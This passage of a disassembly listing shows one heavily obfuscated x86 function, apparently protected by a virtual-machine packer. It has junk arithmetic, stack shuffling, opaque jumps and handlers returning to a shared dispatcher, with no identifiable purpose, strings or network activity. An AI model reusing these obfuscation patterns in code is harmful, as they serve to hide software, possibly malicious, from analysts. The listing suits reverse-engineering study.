		sub	ebx, edi
		pop	edi
		push	esi
		push	ecx
		mov	ecx, 31883BBCh
		mov	esi, 0E4FD55Eh
		add	esi, ecx
		pop	ecx
		jmp	loc_59B1DB
; ---------------------------------------------------------------------------
off_593DB3	dd offset dword_625068	; DATA XREF: sub_58A891+39EFo
		align 4
		jmp	loc_596708
; ---------------------------------------------------------------------------


loc_593DBD:				; CODE XREF: sub_58A891+4029j
		or	edi, 20EE6A36h
		or	edi, 34360CD8h
		neg	edi
		push	2E57h
		jmp	loc_592632
; ---------------------------------------------------------------------------


loc_593DD5:				; CODE XREF: sub_58A891+BFC8j
		js	loc_5910E2
		neg	ebp
		jmp	loc_58E615
; ---------------------------------------------------------------------------
		jle	loc_5945F7


loc_593DE8:				; CODE XREF: sub_58A891+9AF4j
		push	esi
		push	esp
		mov	esi, [esp+4Ch+var_4E+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], edx
		push	4
		mov	edx, [esp+0]
		add	esp, 4
		add	esi, edx
		mov	edx, [esp+4Ch+var_4E+2]
		add	esp, 4
		push	edi
		mov	edi, 2
		add	esi, edi
		jmp	loc_59514A
; ---------------------------------------------------------------------------


loc_593E1F:				; CODE XREF: sub_58A891+C4F6j
		sub	edx, 0E038B59Dh
		mov	eax, edx
		mov	edx, [esp+4Ch+var_4E+2]
		add	esp, 4
		add	ebx, eax
		pop	eax
		push	666Ah
		mov	[esp+48h+var_4A+2], esi
		push	7ECA5F3Dh
		pop	esi
		sub	edx, esi
		push	[esp+48h+var_4A+2]
		pop	esi
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], ebp
		mov	ebp, esp
		jmp	loc_594C9B
; ---------------------------------------------------------------------------


loc_593E54:				; CODE XREF: sub_58A891+C871j
		mov	ebp, 368F0563h
		jmp	loc_58F94B
; ---------------------------------------------------------------------------


loc_593E5E:				; CODE XREF: sub_58A891+9007j
		xor	[esp+44h+var_46+2], edi
		xor	edi, [esp+44h+var_46+2]
		pop	esp
		jmp	loc_59B2D6
; ---------------------------------------------------------------------------


loc_593E6A:				; CODE XREF: sub_58A891+BCF3j
		push	[esp+40h+var_3C]
		mov	ebx, [esp+44h+var_46+2]
		add	esp, 4
		pop	[esp+40h+var_40]
		jmp	loc_593CFA
; ---------------------------------------------------------------------------


loc_593E7C:				; CODE XREF: sub_58A891+550Cj
		xor	ecx, [esp-18h+arg_E+2]
		mov	esp, [esp-18h+arg_E+2]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593E87:				; CODE XREF: sub_58A891+F359j
		dec	ecx
		and	ecx, 6B0C7CC7h
		jg	loc_59BA2F
		shr	ecx, 2
		jnp	loc_59606D
		mov	bl, 0A8h


loc_593EA0:				; CODE XREF: sub_58A891:loc_5901A4j
		jmp	loc_58EE7B
; ---------------------------------------------------------------------------


loc_593EA5:				; CODE XREF: sub_58A891+D33Aj
		sub	esp, 4
		mov	[esp+0], eax
		push	edi
		mov	edi, 1
		push	edi
		jmp	loc_5990ED
; ---------------------------------------------------------------------------


loc_593EB7:				; CODE XREF: sub_58A891+7A07j
		xor	edi, 0DF37EE09h
		add	eax, edi
		pop	edi
		push	ecx
		mov	ecx, 9BE7813h
		shr	ecx, 7
		jmp	loc_59B485
; ---------------------------------------------------------------------------


loc_593ECE:				; CODE XREF: sub_58A891+D882j
		push	2B31h
		mov	[esp+10h+var_10], edx
		jmp	loc_59572A
; ---------------------------------------------------------------------------


loc_593EDB:				; CODE XREF: sub_58A891+B592j
		xchg	esi, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		mov	[esp+10h+var_10], edx
		push	eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+18h+var_18]
		push	ebx
		push	3A42h
		push	esp
		jmp	loc_59137A
; ---------------------------------------------------------------------------


loc_593EFB:				; DATA XREF: sub_58A891+3B0Fo
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	[esp+10h+var_C]
		mov	esi, [esp+14h+var_14]
		add	esp, 4
		pop	[esp+10h+var_10]
		pop	esp
		mov	[esp+8+var_8], ecx
		jmp	loc_591ADE
; ---------------------------------------------------------------------------


loc_593F2C:				; CODE XREF: sub_58A891+DE22j
		pop	esi
		sub	edi, ebp
		push	[esp+4+var_4]
		jmp	loc_5948AF
; ---------------------------------------------------------------------------


loc_593F37:				; CODE XREF: sub_58A891+AC57j
					; sub_58A891+CB5Ej
		xor	ebx, 40926365h
		add	ebx, 75C21661h
		neg	ebx
		sub	ebx, 6BF9352Bh
		and	ebx, 1494C8Eh
		add	ebx, 701D6098h
		xor	esi, ebx
		pop	ebx
		add	ecx, esi
		pop	esi
		jmp	loc_58F952
; ---------------------------------------------------------------------------


loc_593F62:				; CODE XREF: sub_58A891+D6EAj
		inc	dword ptr [esp+0]
		mov	ebx, [esp+0]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], eax
		jmp	loc_59100F
; ---------------------------------------------------------------------------


loc_593F7C:				; CODE XREF: sub_58A891+4C02j
		movzx	cx, ah
		push	edx
		jmp	loc_59213B
; ---------------------------------------------------------------------------


loc_593F86:				; CODE XREF: sub_58A891+D662j
		pop	ebp
		xor	eax, ebx
		pop	ebx
		jmp	loc_590D71
; ---------------------------------------------------------------------------


loc_593F8F:				; CODE XREF: sub_58A891+F809j
		sub	cl, dl
		push	edx
		jmp	loc_59477F
; ---------------------------------------------------------------------------


loc_593F97:				; CODE XREF: sub_58A891+5762j
		xor	edx, ebx
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_599416
; ---------------------------------------------------------------------------


loc_593FAD:				; CODE XREF: sub_58A891+80FDj
		mov	ebp, 593538F4h
		push	esi
		mov	esi, 1874480Ah
		add	eax, esi
		pop	esi
		sub	eax, ebp
		push	edx
		mov	edx, 1874480Ah
		sub	eax, edx
		pop	edx
		pop	ebp
		jmp	loc_58F923
; ---------------------------------------------------------------------------


loc_593FCC:				; CODE XREF: sub_58A891+7354j
		mov	ebp, [esp+44h+var_46+2]
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp+48h+var_4A+2]
		pop	esp
		mov	eax, edi
		jmp	loc_59685E
; ---------------------------------------------------------------------------


loc_593FEC:				; CODE XREF: sub_58A891+5016j
		pop	esp
		jmp	loc_590DC8
; ---------------------------------------------------------------------------


loc_593FF2:				; CODE XREF: sub_58A891+8463j
		pop	esp
		xor	ch, 8Bh
		add	al, ch
		jmp	loc_59B1BE
; ---------------------------------------------------------------------------


loc_593FFD:				; CODE XREF: sub_58A891+4D98j
					; sub_58A891+1009Bj
		xchg	ecx, [esp+0]
		pop	esp
		jmp	loc_594D71
; ---------------------------------------------------------------------------


loc_594006:				; CODE XREF: sub_58A891+41FEj
		xor	ebx, 7BD6A067h
		and	ebx, 450E564Bh
		add	ebx, 3B472FB3h
		jz	loc_59B765
		add	ebx, 0A4BFE63Ch
		jmp	loc_5988F0
; ---------------------------------------------------------------------------


loc_594029:				; DATA XREF: sub_58A891+3B27o
		mov	ax, word ptr [esp+8+var_8]
		push	1C0h
		mov	[esp+0Ch+var_C], edi
		push	esp
		jmp	loc_591D26
; ---------------------------------------------------------------------------


loc_59403B:				; CODE XREF: sub_58A891+4459j
		jns	loc_599BBB
		xor	ecx, 44F368D6h
		push	ecx
		sub	dword ptr [esp+0], 519B5484h


loc_59404F:				; CODE XREF: sub_58A891+CEB7j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		push	ebp
		jmp	loc_598B14
; ---------------------------------------------------------------------------


loc_594061:				; CODE XREF: sub_58A891+629Fj
					; sub_58A891+DC8Ej
		shl	ch, 5
		sub	ch, 8Dh
		sub	al, 43h
		jmp	loc_591C24
; ---------------------------------------------------------------------------


loc_59406E:				; CODE XREF: sub_58A891+785Dj
		push	1A6Bh
		mov	[esp+10h+var_10], ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_58E89B
; ---------------------------------------------------------------------------


loc_59407E:				; CODE XREF: sub_58A891+4C5Fj
					; sub_58A891+57D0j
		add	ebx, 4
		push	edi
		jmp	loc_595373
; ---------------------------------------------------------------------------


loc_59408A:				; CODE XREF: sub_58A891+C259j
		push	ebp
		jmp	loc_598A43
; ---------------------------------------------------------------------------


loc_594090:				; CODE XREF: sub_58A891+51A2j
		mov	ebx, [esp+28h+var_28]
		push	edx
		jmp	loc_5963A9
; ---------------------------------------------------------------------------


loc_594099:				; CODE XREF: sub_58A891+5BD7j
		pop	eax
		pop	[esp+1Ch+var_1C]
		pop	esp
		mov	dx, word ptr [esp+14h+var_14]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_59A0FE
; ---------------------------------------------------------------------------


loc_5940B6:				; CODE XREF: sub_58A891+4868j
					; DATA XREF: sub_58A891+3AA7o
		lodsb
		jmp	loc_5967FA
; ---------------------------------------------------------------------------


loc_5940BC:				; CODE XREF: sub_58A891+B3C0j
		add	esp, 4
		push	small 208h
		mov	word ptr [esp+32h+var_34+2], cx
		push	42F9h
		mov	[esp+36h+var_38+2], eax
		mov	al, 35h
		jmp	loc_593122
; ---------------------------------------------------------------------------


loc_5940D9:				; CODE XREF: sub_58A891+C89Bj
		mov	[esp+36h+var_38+2], ebx
		mov	ebx, 7F9F459Eh
		xor	ecx, ebx
		jmp	loc_597D03
; ---------------------------------------------------------------------------


loc_5940E8:				; CODE XREF: sub_58A891+ED95j
		push	esp
		pop	ebp
		add	ebp, 4
		push	esi
		mov	esi, 2
		add	ebp, esi
		pop	esi
		push	4D10h
		jmp	loc_598A85
; ---------------------------------------------------------------------------


loc_594103:				; CODE XREF: sub_58A891+11027j
		push	eax
		mov	ah, dl
		mov	cl, ah
		jmp	loc_59B7FD
; ---------------------------------------------------------------------------


loc_59410D:				; CODE XREF: sub_58A891:loc_590A2Cj
					; sub_58A891+DB2Dj
		mov	edi, ebp
		jmp	loc_599B34
; ---------------------------------------------------------------------------


loc_594114:				; DATA XREF: sub_58A891+39F7o
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		jmp	loc_595A95
; ---------------------------------------------------------------------------


loc_59411F:				; CODE XREF: sub_58A891+F3B7j
		push	ecx
		mov	ecx, 4
		jmp	loc_597CB7
; ---------------------------------------------------------------------------


loc_59412A:				; CODE XREF: sub_58A891+10E97j
		xor	bx, dx
		pop	dx
		xor	bx, 7E45h
		add	si, 215Ch
		add	si, bx
		sub	si, 215Ch
		push	[esp+0Eh+var_10+2]
		pop	ebx
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_591856
; ---------------------------------------------------------------------------


loc_594152:				; CODE XREF: sub_58A891+9E48j
		sub	al, 89h
		add	al, dl
		push	edx
		push	ebx
		mov	bl, 0EFh
		mov	dh, 0
		add	dh, bl
		pop	ebx
		xor	dh, 66h
		add	al, dh
		pop	edx
		jmp	loc_5958CB
; ---------------------------------------------------------------------------


loc_59416A:				; CODE XREF: sub_58A891+FEC1j
		sub	ecx, 1E147C44h
		jmp	loc_599ADC
; ---------------------------------------------------------------------------


loc_594175:				; CODE XREF: sub_58A891+B104j
		add	bl, 0BEh
		jmp	loc_58FFAB
; ---------------------------------------------------------------------------


loc_59417D:				; DATA XREF: sub_58A891+3BFFo
		push	small word ptr [edx]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_594185:				; CODE XREF: sub_58A891+E892j
		push	ebx
		mov	ebx, 471231Fh
		or	ebx, 3C90585Eh
		add	ebx, 8700E36h
		push	edx
		mov	edx, 37D34F3Bh
		add	ebx, edx
		jmp	loc_5936BF
; ---------------------------------------------------------------------------


loc_5941A4:				; CODE XREF: sub_58A891+6B0Dj
					; sub_58A891+A773j
		mov	edx, [esp+14h+var_14]
		jmp	loc_597CEF
; ---------------------------------------------------------------------------


loc_5941AC:				; CODE XREF: sub_58A891+7242j
		bt	word ptr [esp-1Ch+arg_18], ax
		pushf
		jmp	loc_58F26E
; ---------------------------------------------------------------------------


loc_5941B7:				; CODE XREF: sub_58A891+9C80j
		add	ecx, 6A466C95h
		add	ecx, esi
		sub	ecx, 6A466C95h
		pop	esi
		jmp	loc_593823
; ---------------------------------------------------------------------------


loc_5941CB:				; CODE XREF: sub_58A891+A4F5j
		pop	ebp
		jmp	loc_58F397
; ---------------------------------------------------------------------------


loc_5941D1:				; CODE XREF: sub_58A891:loc_590799j
		and	esi, 268E1E2Eh
		jno	loc_593702
		add	esi, 1D3C1437h
		jb	loc_59A478
		mov	bl, 0E9h
		pop	edx


loc_5941EC:				; CODE XREF: sub_58A891+8C22j
		add	[eax], ecx
		jmp	loc_591505
; ---------------------------------------------------------------------------


loc_5941F3:				; CODE XREF: sub_58A891+85F9j
					; sub_58A891+F71Aj
		and	ebx, 33645DA6h
		jp	loc_5915EC
		not	ebx
		push	edx
		mov	edx, 0DE9FAB7Bh
		xor	ebx, edx
		mov	edx, [esp+16h+var_18+2]
		add	esp, 4
		sub	edx, ebx
		mov	ebx, [esp+12h+var_14+2]
		add	esp, 4
		jmp	loc_596359
; ---------------------------------------------------------------------------


loc_59421F:				; CODE XREF: sub_58A891+8E86j
		sub	esp, 4
		mov	[esp+0Ch+var_C], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ecx
		push	4353h
		mov	[esp+0Ch+var_C], esp
		push	ebx
		push	edi
		mov	edi, 0BC37046h
		neg	edi
		jmp	loc_591903
; ---------------------------------------------------------------------------


loc_594253:				; DATA XREF: sub_58A891+3A9Fo
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	word ptr [esp+6+var_8+2], ax
		pushf
		jmp	loc_58FB9C
; ---------------------------------------------------------------------------


loc_594263:				; CODE XREF: sub_58A891+793Aj
		and	esi, 64F265CEh
		jmp	loc_591BF4
; ---------------------------------------------------------------------------


loc_59426E:				; CODE XREF: sub_58A891+CDCAj
		add	esp, 4
		push	edx
		jmp	loc_590121
; ---------------------------------------------------------------------------


loc_594277:				; DATA XREF: sub_58A891+39A3o
		push	ebp
		jmp	loc_599F4C
; ---------------------------------------------------------------------------


loc_59427D:				; CODE XREF: sub_58A891+407Dj
		mov	bl, byte ptr [esp+4+var_4+2]
		mov	byte ptr [esp+4+var_4+2], al
		jmp	loc_5915B2
; ---------------------------------------------------------------------------


loc_59428A:				; CODE XREF: sub_58A891+E26Bj
		mov	[esp+4+var_4], edi
		jmp	loc_592FCB
; ---------------------------------------------------------------------------


loc_594292:				; CODE XREF: sub_58A891+8ED0j
		push	esi
		jmp	loc_595320
; ---------------------------------------------------------------------------


loc_594298:				; CODE XREF: sub_58A891+6312j
		mov	ebp, 6A4C79A7h
		and	ebp, 97305CDh
		add	ebp, 32631360h
		sub	eax, ebp
		pop	ebp
		pop	ecx
		sub	eax, ebx
		jmp	loc_5922DA
; ---------------------------------------------------------------------------


loc_5942B4:				; CODE XREF: sub_58A891+EB68j
		add	esp, 2
		add	word ptr [esp+8+var_8+2], cx
		push	bp
		mov	bp, 82Bh
		add	word ptr [esp+0Ah+var_8+2], bp
		pop	bp
		push	ax
		mov	ax, 4D71h
		sub	word ptr [esp+0Ah+var_8+2], ax
		pop	ax
		pop	cx
		jmp	loc_59B107
; ---------------------------------------------------------------------------


loc_5942DD:				; CODE XREF: sub_58A891+F769j
		pop	edx
		push	ebx
		mov	ebx, esp
		jmp	loc_590BFF
; ---------------------------------------------------------------------------


loc_5942E6:				; CODE XREF: sub_58A891:loc_59237Dj
		push	0E8Bh
		mov	[esp+8+var_8], esi
		mov	esi, 734934B5h
		sub	ebp, esi
		pop	esi
		or	ebp, 52011215h
		jmp	loc_58F692
; ---------------------------------------------------------------------------


loc_594301:				; CODE XREF: sub_58A891+6918j
		sub	edx, 5019074Ah
		add	edx, eax
		add	edx, 5019074Ah
		mov	eax, [esp+28h+var_28]
		add	esp, 4
		dec	edx
		jo	loc_59BAF5
		inc	edx
		jz	loc_59A09F
		dec	edx
		jge	loc_59ACB7
		sub	edx, 1C8706Eh
		add	esi, edx
		mov	edx, [esp+24h+var_24]
		add	esp, 4
		push	esp


loc_59433C:				; CODE XREF: sub_58A891+B98Cj
		push	esp
		pop	ecx
		add	ecx, 4
		push	edi
		mov	edi, 0AC85698h
		shl	edi, 6
		shl	edi, 4
		not	edi
		sub	edi, 0DEA59FFBh
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp+24h+var_24]
		pop	esp
		mov	ecx, [esp+20h+var_20]
		jmp	loc_5974D5
; ---------------------------------------------------------------------------


loc_594367:				; CODE XREF: sub_58A891+F72Fj
		push	eax
		mov	eax, 95870F7h
		jmp	loc_59B6E9
; ---------------------------------------------------------------------------


loc_594372:				; CODE XREF: sub_58A891+418Ej
		sub	esi, edi
		jmp	loc_594DAE
; ---------------------------------------------------------------------------


loc_594379:				; CODE XREF: sub_58A891+4745j
		mov	[esp+44h+var_46+2], ecx
		jmp	loc_58FC35
; ---------------------------------------------------------------------------


loc_594381:				; DATA XREF: sub_58A891+3A1Fo
		mov	cx, word ptr [esp+8+var_8]
		jmp	loc_593DE8
; ---------------------------------------------------------------------------


loc_59438A:				; CODE XREF: sub_58A891+6FFEj
		and	ecx, esi
		pop	esi
		shl	ecx, 1
		inc	ecx
		sub	ecx, 0E67DC537h
		add	eax, ecx
		jmp	loc_599D4B
; ---------------------------------------------------------------------------


loc_59439D:				; CODE XREF: sub_58A891+4CF7j
		add	esp, 4
		jmp	loc_59AFE9
; ---------------------------------------------------------------------------


loc_5943A5:				; CODE XREF: sub_58A891+DDA6j
		mov	esp, [esp+3Ch+var_3C]
		mov	[esp+3Ch+var_3C], edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+40h+var_40]
		pop	esp
		mov	[esp+3Ch+var_3C], edx
		jmp	loc_597FBB
; ---------------------------------------------------------------------------


loc_5943C6:				; CODE XREF: sub_58A891+C8CBj
		mov	[esp+3Ch+var_3C], ebx
		push	63D1h
		mov	[esp+40h+var_40], ebp
		push	27B959DEh
		mov	ebp, [esp+44h+var_46+2]
		add	esp, 4
		jmp	loc_59B179
; ---------------------------------------------------------------------------


loc_5943E1:				; CODE XREF: sub_58A891+10721j
		add	byte ptr [esp+40h+var_40], 0A6h
		sub	byte ptr [esp+40h+var_40], bh
		sub	byte ptr [esp+40h+var_40], 0A6h
		mov	bh, byte ptr [esp+40h+var_40]
		push	eax
		jmp	loc_59AA4C
; ---------------------------------------------------------------------------


loc_5943F5:				; DATA XREF: sub_58A891+3AD3o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp+6+var_8+2], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_594405:				; CODE XREF: sub_58A891+7278j
		add	esp, 4
		jmp	loc_5998D1
; ---------------------------------------------------------------------------


loc_59440D:				; CODE XREF: sub_58A891+10504j
		add	esi, 4
		push	6BCAh
		mov	[esp+0], ebx
		push	6C295E04h
		mov	ebx, [esp-10h+arg_8]
		add	esp, 4
		not	ebx
		inc	ebx
		push	edx
		push	ecx
		mov	ecx, 24821720h
		jmp	loc_597FE3
; ---------------------------------------------------------------------------


loc_594438:				; CODE XREF: sub_58A891+93A1j
		pop	edi
		add	[esp+8+var_4], ebx
		pop	ebx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		push	edi
		jmp	loc_595D3C
; ---------------------------------------------------------------------------


loc_59444D:				; CODE XREF: sub_58A891+FADEj
		add	ebp, 60698F44h
		jmp	loc_592CF9
; ---------------------------------------------------------------------------


loc_594458:				; CODE XREF: sub_58A891+67A1j
					; sub_58A891+B52Fj
		push	ebp
		jmp	loc_595EF2
; ---------------------------------------------------------------------------


loc_59445E:				; CODE XREF: sub_58A891+71A6j
		mov	[esp+0], ecx
		jmp	loc_597A4E
; ---------------------------------------------------------------------------
word_594466	dw 52ACh		; DATA XREF: sub_58A891+3BD7o
		dd 0E28073B2h, 51D2F6E0h, 0EA3063B5h, 80C2FE59h, 0EC81A9F2h
		dd 2, 240C8966h, 0E8009FB5h, 3EE95966h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59448F:				; CODE XREF: sub_58A891+ED3Bj
		add	esi, edx
		pop	edx
		add	esi, 67E8F7AEh
		add	ebp, esi
		pop	esi
		add	ebp, 4
		jmp	loc_594706
; ---------------------------------------------------------------------------


loc_5944A3:				; CODE XREF: sub_58A891+9E70j
		add	esp, 2
		add	bl, 0CAh
		sub	bl, 0ABh
		jmp	loc_58FD7C
; ---------------------------------------------------------------------------


loc_5944B4:				; CODE XREF: sub_58A891:loc_59111Dj
					; sub_58A891+6A09j
		push	edi
		mov	edi, 0EC4CF95Ch
		add	ebp, edi
		pop	edi
		jmp	loc_58E939
; ---------------------------------------------------------------------------


loc_5944C2:				; CODE XREF: sub_58A891+6E02j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5944C7:				; CODE XREF: sub_58A891+AD34j
		mov	bl, 33h
		xor	ah, bl
		mov	bx, [esp+0]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp+54h+var_54]
		pop	esp
		mov	ch, ah
		pop	eax
		sub	esp, 2
		mov	[esp+0], cx
		xchg	ch, [esp+1]
		not	ch
		xchg	ch, [esp+1]
		pop	cx
		not	ch
		inc	ch
		jmp	loc_593604
; ---------------------------------------------------------------------------


loc_5944FE:				; CODE XREF: sub_58A891+10333j
		add	esp, 4
		pop	[esp+4Ah+var_4A]
		jmp	loc_592C34
; ---------------------------------------------------------------------------


loc_59450C:				; CODE XREF: sub_58A891+DF26j
		mov	esi, 0E030A30Dh
		jmp	loc_5941B7
; ---------------------------------------------------------------------------


loc_594516:				; CODE XREF: sub_58A891+81B4j
		mov	al, 0Dh
		shl	al, 6
		jp	loc_596025
		dec	al
		jno	loc_5915D5
		inc	al
		jns	loc_599CEF
		neg	al
		mov	dl, cl


loc_594535:				; CODE XREF: sub_58A891+DB8Fj
		mov	[esp+8+var_8], ebp
		mov	ebp, 7C89768Bh
		and	ebp, 25C6792Fh
		dec	ebp
		sub	ebp, 5D5D4FBDh
		shr	ebp, 8
		jmp	loc_58F5AE
; ---------------------------------------------------------------------------


loc_594552:				; CODE XREF: sub_58A891+77EDj
		sub	esp, 4
		mov	[esp+10h+var_10], eax
		mov	eax, 7CB34F4h
		jmp	loc_58F4B8
; ---------------------------------------------------------------------------


loc_594562:				; CODE XREF: sub_58A891+AE9Ej
		inc	edx
		jmp	loc_594C5E
; ---------------------------------------------------------------------------


loc_594568:				; CODE XREF: sub_58A891+E687j
		add	esp, 4
		shr	ecx, 5
		xor	ecx, 7FBE435h
		push	30C3h
		mov	[esp+10h+var_10], ecx
		mov	ebp, [esp+10h+var_10]
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 54320A37h
		add	eax, 1A432146h
		or	eax, 6600632Ch
		xor	eax, 49906B1Ah
		shr	eax, 1
		or	eax, 7C86C2Fh
		sub	eax, 17FAEC3Bh
		add	ebx, eax
		pop	eax
		add	ebx, 4
		jmp	loc_593030
; ---------------------------------------------------------------------------


loc_5945AE:				; CODE XREF: sub_58A891+5F32j
		jmp	loc_598CD8
; ---------------------------------------------------------------------------


loc_5945B3:				; CODE XREF: sub_58A891+EE0Aj
		sub	bl, dl
		pop	edx
		jmp	loc_58F38F
; ---------------------------------------------------------------------------


loc_5945BB:				; CODE XREF: sub_58A891+C09Cj
		sub	eax, 22C52D0Ch
		sub	eax, edi
		jmp	loc_59256C
; ---------------------------------------------------------------------------


loc_5945C7:				; CODE XREF: sub_58A891+FCAEj
		add	ch, 6Bh
		sub	bl, ch
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_58F606
; ---------------------------------------------------------------------------


loc_5945DD:				; CODE XREF: sub_58A891+F8A3j
		add	edi, 4
		add	edi, 4
		push	edi
		push	[esp+1Ch+var_18]
		pop	edi
		pop	[esp+1Ch+var_1C]
		jmp	loc_591025
; ---------------------------------------------------------------------------


loc_5945F7:				; CODE XREF: sub_58A891+8B36j
					; sub_58A891+9551j
		add	ecx, eax
		jmp	loc_595311
; ---------------------------------------------------------------------------


loc_5945FE:				; CODE XREF: sub_58A891+BC37j
		mov	ecx, 234B577Ch
		inc	ecx
		add	ecx, 0F30DDA12h
		mov	ebp, ecx
		pop	ecx
		xor	ebp, 1B465613h
		or	ebp, 38F0CD8h
		jmp	loc_595CB4
; ---------------------------------------------------------------------------


loc_59461E:				; CODE XREF: sub_58A891+8441j
		pop	ebx
		rep movsd
		add	esp, [edx+38h]
		push	esi
		push	edi
		mov	edi, 13171D6Fh
		shl	edi, 6
		jmp	loc_597B6D
; ---------------------------------------------------------------------------


loc_594633:				; CODE XREF: sub_58A891+AE33j
		mov	[esp+1Ch+var_1C], ebp
		mov	ebp, 2EA07EFCh
		jmp	loc_598B01
; ---------------------------------------------------------------------------


loc_594640:				; CODE XREF: sub_58A891+6557j
		mov	eax, [esp+18h+var_18]
		jmp	loc_595D75
; ---------------------------------------------------------------------------


loc_594648:				; CODE XREF: sub_58A891+BDC8j
		shl	al, 5
		jmp	loc_590A11
; ---------------------------------------------------------------------------


loc_594650:				; CODE XREF: sub_58A891+92ACj
		push	eax
		jmp	loc_598489
; ---------------------------------------------------------------------------


loc_594656:				; CODE XREF: sub_58A891+5356j
		pop	edx
		jmp	loc_59048B
; ---------------------------------------------------------------------------


loc_59465C:				; CODE XREF: sub_58A891+3F13j
		sub	edi, 65755089h
		sub	edi, 31070F07h
		sub	esi, edi
		mov	edi, [esp+48h+var_4A+2]
		jmp	loc_596531
; ---------------------------------------------------------------------------


loc_594672:				; CODE XREF: sub_58A891+455Dj
		pop	ebp
		jmp	loc_595CE6
; ---------------------------------------------------------------------------


loc_594678:				; CODE XREF: sub_58A891+E53Bj
		push	0DE99EE8Ch
		pop	ecx
		xor	ecx, esi
		pop	esi
		xor	edx, ecx
		jmp	loc_593094
; ---------------------------------------------------------------------------


loc_594688:				; CODE XREF: sub_58A891+64D5j
		add	esi, eax
		push	[esp+10h+var_10]
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		add	esp, 4
		add	esi, 2
		push	esi
		jmp	loc_58F866
; ---------------------------------------------------------------------------


loc_5946A8:				; CODE XREF: sub_58A891+DC81j
		inc	dh
		dec	dh
		jmp	loc_597877
; ---------------------------------------------------------------------------


loc_5946B1:				; CODE XREF: sub_58A891+5311j
		shl	ecx, 5
		push	edx
		mov	edx, 0A2D0379h
		push	edi
		mov	edi, 2DC85453h
		jmp	loc_595BB0
; ---------------------------------------------------------------------------


loc_5946C5:				; CODE XREF: sub_58A891+F3CDj
		sub	ebx, 780E4D77h
		pop	esi
		xchg	ebx, [esp+48h+var_4A+2]
		mov	esp, [esp+48h+var_4A+2]
		jmp	loc_592358
; ---------------------------------------------------------------------------


loc_5946D7:				; CODE XREF: sub_58A891+E15Aj
		add	al, 3
		jmp	loc_594152
; ---------------------------------------------------------------------------


loc_5946DE:				; CODE XREF: sub_58A891+10788j
		sub	bh, dl
		jmp	loc_597232
; ---------------------------------------------------------------------------


loc_5946E5:				; CODE XREF: sub_58A891+FEB9j
		pop	edi
		add	esp, 4
		add	ecx, edx
		pop	edx
		jmp	loc_591F1E
; ---------------------------------------------------------------------------


loc_5946F1:				; CODE XREF: sub_58A891+6517j
		add	esp, 4
		add	bl, 49h
		sub	al, bl
		pop	ebx
		mov	cx, word ptr [esp+8+var_8]
		jmp	loc_5944A3
; ---------------------------------------------------------------------------


loc_594706:				; CODE XREF: sub_58A891+9C0Dj
		xchg	ebp, [esp+48h+var_4A+2]
		mov	esp, [esp+48h+var_4A+2]
		jmp	loc_597D29
; ---------------------------------------------------------------------------


loc_594711:				; CODE XREF: sub_58A891+FF51j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+4Ch+var_4E+2]
		jmp	loc_59986F
; ---------------------------------------------------------------------------


loc_594728:				; CODE XREF: sub_58A891+7882j
		mov	ebp, 1
		sub	edx, ebp
		jmp	loc_59106D
; ---------------------------------------------------------------------------


loc_594734:				; CODE XREF: sub_58A891+54BBj
		add	ebx, 4
		jmp	loc_596E3D
; ---------------------------------------------------------------------------


loc_59473F:				; DATA XREF: sub_58A891+3AC3o
		pop	dword ptr fs:[edx]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_594747:				; CODE XREF: sub_58A891+FA52j
		sub	ebp, 987D79F7h
		push	esi
		jmp	loc_5991C5
; ---------------------------------------------------------------------------


loc_594753:				; CODE XREF: sub_58A891+3D0Ej
		sub	[edi+24h], ebp
		mov	ebp, [esp+34h+var_34]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_593C8E
; ---------------------------------------------------------------------------


loc_594767:				; CODE XREF: sub_58A891+404Aj
		jle	loc_59B0A9
		jmp	loc_591D91
; ---------------------------------------------------------------------------


loc_594772:				; CODE XREF: sub_58A891+F9B5j
		pop	ecx
		jmp	loc_59ADE0
; ---------------------------------------------------------------------------


loc_594778:				; CODE XREF: sub_58A891+C5A7j
		push	ecx
		push	esi
		jmp	loc_59A9E6
; ---------------------------------------------------------------------------


loc_59477F:				; CODE XREF: sub_58A891+9701j
		push	eax
		mov	ah, 39h
		neg	ah
		shr	ah, 3
		jmp	loc_597AE8
